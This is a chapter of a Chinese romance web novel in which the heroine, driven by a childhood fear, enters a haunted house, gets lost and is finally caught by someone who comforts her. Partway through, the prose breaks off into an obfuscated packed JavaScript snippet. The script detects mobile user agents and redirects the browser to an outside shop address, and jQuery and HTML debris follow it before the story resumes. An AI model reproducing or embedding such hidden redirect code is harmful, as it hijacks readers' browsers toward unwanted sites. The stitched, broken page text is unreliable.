35.胆小
作品:《吃错了前男友的席》 巨大的骷髅头张着漆黑的大口,像是等待猎物的到来。
洞口被厚重的黑色幕布遮得严严实实,透不出一丝光亮,让人无法窥探其中的内容。
只有旁边告示牌上贴着的各类恐怖海报,进一步渲染着其中的恐怖氛围,上面狰狞的厉鬼面孔似乎即将冲破纸面。
“我不去。”
这是许绫的第一反应。
她甚至往后退了一步,眉头死死缩紧。
“为什么?”许昀不解地望向她,眼里满是跃跃欲试,“刚才你不是玩得挺开心吗?这个肯定更刺激!”
许绫抿着唇,没有直面回答。
为什么?
因为她来过这里。
脑海深处的记忆毫无征兆地被刺破,争先恐后地占据着大脑。
视线突然变得矮小。
小小的她站在县城的游乐场里,被大人们连哄带骗地推进了一个黑黢黢的洞口:
“绫绫乖,进去练练胆子。”
她懵懂地走近,紧紧攥着大人的衣角。
可不知道什么时候,那只手突然松开了。
黑暗如潮水一般瞬间将人吞噬殆尽。许绫惊恐地在里面狂奔,四周全是凄厉的鬼叫和突然弹出的骷髅。
她吓得魂飞魄散,但并没有因此过分尖叫出声。
跑不动的她环顾四周,却没见到任何熟悉的面庞。
她才确定,自己真的被“扔下”了,蹲在地上嚎啕大哭。
“我不去。”
许绫又重复了一遍,这次语气更|硬|了。
她撅起嘴,倔强地把身体扭向一边,重新竖起了满身的刺。
“切——”
许昀忍不住拖长了音调嘲讽道,“姐你这也太胆小了吧,难怪妈每次都说你小时候在鬼屋里哭得丢死人,看来是真的啊?”
当年,等她哭着被工作人员带出来时,迎来的不是安慰。
大人们此起彼伏地笑着:
“哎哟,你看这小孩,吓得鼻涕都出来了。”
“胆子真小,这都能哭。”
比鬼叫更刺耳的,也是他们的笑声。
直至现在,逢年过节提起这件事,亲戚们还是会把它当成笑料,一遍遍揭开结痂的伤疤,用笑声在伤口上研磨。
“你太胆小了。”
许昀的这句话像是颗火星,蹦跳着点燃了许绫心底深埋多年的火药桶。
她猛地转过头,伸出手指狠狠点了点许昀的额头,咬牙切齿道:
“谁跟你说的?我才不怕!我那是…那是小时候不懂事!”
陈禹见到两人可能要吵起来,赶紧上前打圆场:
“哎呀,不想去就不去了嘛。别的项目也没这么刺激,咱们去玩旋转木马也行…”
“不用!”
许绫那股倔劲儿上来了,谁都拉不住。
她转过头,对上许昀的眼睛,认真道:
“不就是个鬼屋吗?去就去!谁怕谁是小狗!”
说完,她也不管身后两人的反应,率先迈开步子,大步流星地朝着骷髅头走去。
陈禹和许昀对视一眼,很快紧随其后。
·
掀开那层厚重的幕布。
首先迎接他们的,是一股常年不见阳光的、滋长出霉味的潮湿气息,瞬间掩盖外面清新的空气。
一时间,鼻腔里满是这个味道。
还没站稳,幽幽的恐怖音效就冷不丁地从后方响起,像是有人贴着耳根在吹气。
等到三人的脚步完全踏入,身后的帘子“唰”地合拢。
最后一抹光亮被彻底隔绝,四周霎时陷入了绝对的黑暗。
许绫视线受阻,下意识伸出手,试图去摸索墙壁,却扑了个空。
就在这时,不远处传来一阵窸窸窣窣的声响。
“呼——”
一道幽幽的烛光,猝不及防地在众人身后亮起。
烛光摇曳,凑近了一张惨白的人脸——化着诡异小丑妆的NPC,裂开鲜红的大嘴,正对着他们阴笑。
“啊!!”
同行的几个路人被吓得一大跳,有对情侣更是尖叫着紧紧抱作一团。
小丑似乎很满意这个效果,压低声音,指了指旁边的一条岔路:
“未满十二岁的小朋友,只能走这条通道哦,那边没有大怪兽,只有小鬼,另外还需要一位监护人陪同。”
许绫刚想接茬说“我去”,陈禹却先一步开了口:
“我陪他去吧。”
他看了眼许绫,又看了看那条更明显的主通道,主动说道:“我夜视好,陪弟弟走完再回来找你,到时候咱俩继续一起走…没问题吧?”
“没必要。”
许绫摇摇头,她不想欠陈禹太多,也不想麻烦他来回跑,“太麻烦了。你们走那边吧,我自己走这边,咱们出口见就行。”
陈禹愣了片刻,看到对方坚决的样子,最后还是应了声:“…那好,你自己小心点。”
但语气里是藏不住的失落。
三人分道扬镳。
许绫转身走向了左边的通道。
前方是一对黏黏糊糊的情侣,男生举着手机手电筒打头阵,身后除了许绫,还有几个看不清面容的人。
应该是路人吧。
踏入那片更深的黑暗前,许绫缓缓吐出口气,凝了凝神。
其实她不止一次来过这里。
大学的时候,也是被这种激将法刺激着走进来的。
只不过那时,说话的人不是许昀,而是邢晟。
记忆里的幻影重叠。
那个高大的身影执起她的手,有力地把她往前带,笑着低头看她:“害怕了?”
她听见另一个自己嘴硬地回答:“才没有!谁害怕谁是小狗!”
许绫咽了口唾沫,强行把那些回忆压下去,慢步跟上了前面那对情侣。
因为没带手机,他只能蹭着人家手电筒微弱的光亮,小心翼翼地察看着周围的情况。
“宝宝别怕,有我在呢。”前面的男生搂着女朋友,柔声安慰道,“不管出什么事我都挡着。”
这话飘进许绫的耳朵里。
她在黑暗中无声地勾了勾唇,露出一抹自嘲的笑。
真熟悉啊。
曾经也有人对她说过:“害怕的话,就抓紧我。”
“砰!”
思绪刚起,身旁的墙壁突然炸开。
一个棺材板猛地掀起,配合着凄厉的尖叫音效,一具完整的人形骷髅从里面弹射|而出,直直扑向众人。
“啊——!!”
前方女生发出一声刺透耳膜的尖叫,整个人缩进了男友的怀里。
许绫也被吓了一跳,身体不受控制地往后退了步。
伴随着“咚”的响声,后背重重撞上了个硬|挺的物件。
“嘶…”
有力的冲撞惹得她闷哼出声。她心惊肉跳地伸出手往后一摸,触手冰凉粗糙。
还好,只是个装饰用的假山巨石。
短暂的骚乱很快平息。
那对情侣似乎是被吓到了,慌不择路地加快脚步跑远了。
许绫再度抬起头时,眼前那点微弱的手电筒光亮已经彻底消失在转角。
周围瞬间只剩下为了增添恐怖氛围而闪烁不定的阴沉彩灯。
众人的脚步声似乎也消失不见,能听到的,只有越来越急促的、像是踩在心尖上的恐怖音效。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17121859|192482||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
音乐一转,绿灯熄灭。
四周再度被浓稠的黑暗吞噬。
许绫伸出手,试图去抓点什么,却只摸到一片虚无的空气。
她只能小心翼翼地迈出步子,试探性地向前挪动。
“咚、咚、咚…”
心跳声配合着诡异的鼓点越来越紊乱。她闭上眼,死死咬住下唇,并没有像小时候那般慌不择路,而是强迫自己冷静下来。
然而,恐惧这种东西,越是压抑,越是反弹得厉害。
不远处传来的尖叫声越来越频繁,音乐鼓点骤变,灯光也开始疯狂闪烁。
“哐当!哐当!”
一阵敲锣打鼓的声音突然炸响。
浑身缠满绷带、打扮成木乃伊模样的NPC,不知从哪个角落蹿了出来,直直向许绫的方向逼近。
!!
许绫脑中紧绷的神经瞬间崩断,中枢直接下达命令,迈开腿就是逃。
她转身向后狂奔,但不断变换的刺眼灯光晃得她眼花缭乱,根本分不清东南西北。
她在黑暗中跌跌撞撞跑了很久,直到确认那个木乃伊没有追上来,才气喘吁吁地停下脚步,靠着墙壁慢慢滑坐。
此时。
脚步声、尖叫声,全都消失不见了。
只有那种令人毛骨悚然的背景音乐还在单曲循环。
放眼望去,周边全是深不见底的黑。
虽然前方有路,后方也有路,却没有个具体的指示牌告诉她方向。
许绫这下确信了。
她还是迷路了。
而且,是她自己逞强,主动选择丢下全世界,把自己困在了这里。
这种熟悉的“遗弃”感,顺着怦然不止的心跳逐渐爬进四肢百骸。
躯体开始不受控制地颤抖。她张开嘴,试图呼唤一声“有人吗?”但喉咙因为过度紧张而痉挛,发不出一个音节。
有人吗?
有人在吗?
她在心底大声呼喊。
还有人…会来找我吗?
明明四周都是黑,看不清环境,许绫却觉得自己的视野正在一点点变矮。
仿佛时光倒流,她又变回了那个扎着双马尾的小女孩,被人松开手,送进了这片名为“成长”的牢笼。
我不怕。
我已经不是小孩了。
许绫咬着牙,强撑着支起身子,试图去寻找道路。
可双腿发软到根本不受控制,刚迈出去就差点跪倒。她只能扶着墙大口喘气,反应过来时,才发觉自己的手已经紧紧抓成一团。
指甲深深嵌入肉中,生疼。
羞愤、难堪,各种情绪交织在一起,和昨晚所经历的梦如出一辙。
她好像…又被丢下了。
罪魁祸首是她自己。
“轰隆!”
头顶突然炸响一声惊雷般的音效。
灯光大作,骇人的炸雷声中,角落里又有一个披头散发的鬼怪猛地弹出来。
“啊!!”
许绫终于没忍住,发出了一声短促的尖叫。
她死死闭上眼,整个人惊恐地往后退去。
后背再次撞上一堵墙。
但这一次,这堵墙没有之前那个假山那么坚硬冰冷,反而…还有些温热,甚至带上了几分柔软。
再度反应过来的,是嗅觉。
霎时间,一股清冽的皂角香,混杂着极淡的木质冷香,争先恐后地钻入鼻腔,瞬间驱散了周围腐朽的霉味。
还没等她睁眼,一只有力的手臂已经横过她的腰间,将她整个人稳稳带入了个宽阔温暖的环抱。
紧接着,头顶传来一声低沉的叹息。
“别担心,我在呢。”

